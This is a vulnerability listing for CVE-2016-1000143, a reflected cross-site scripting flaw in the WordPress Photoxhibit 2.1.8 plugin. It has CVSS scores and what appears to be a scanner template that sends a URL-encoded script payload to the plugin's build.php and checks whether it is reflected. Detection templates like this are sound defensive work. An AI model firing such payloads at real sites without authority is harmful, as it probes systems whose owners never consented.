CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
50.1%
WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2016-1000143
info:
name: WordPress Photoxhibit 2.1.8 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of WordPress Photoxhibit or apply the official patch provided by the vendor.
reference:
- http://www.vapidlabs.com/wp/wp_advisory.php?v=780
- https://wordpress.org/plugins/photoxhibit
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000143
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000143
cwe-id: CWE-79
epss-score: 0.00142
epss-percentile: 0.48963
cpe: cpe:2.3:a:photoxhibit_project:photoxhibit:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "photoxhibit_project"
product: photoxhibit
framework: wordpress
tags: cve2016,cve,wordpress,wp-plugin,xss,photoxhibit_project
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'PhotoXhibit'
- 'Tags:'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100b71b7e87ddfa3ec48946cdef3b1600222f268e4649d32500df6231c69bd037850220627172c05ad49947c2d31c2aea31fadb095f89346916efd3420cb998a17589ff:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
50.1%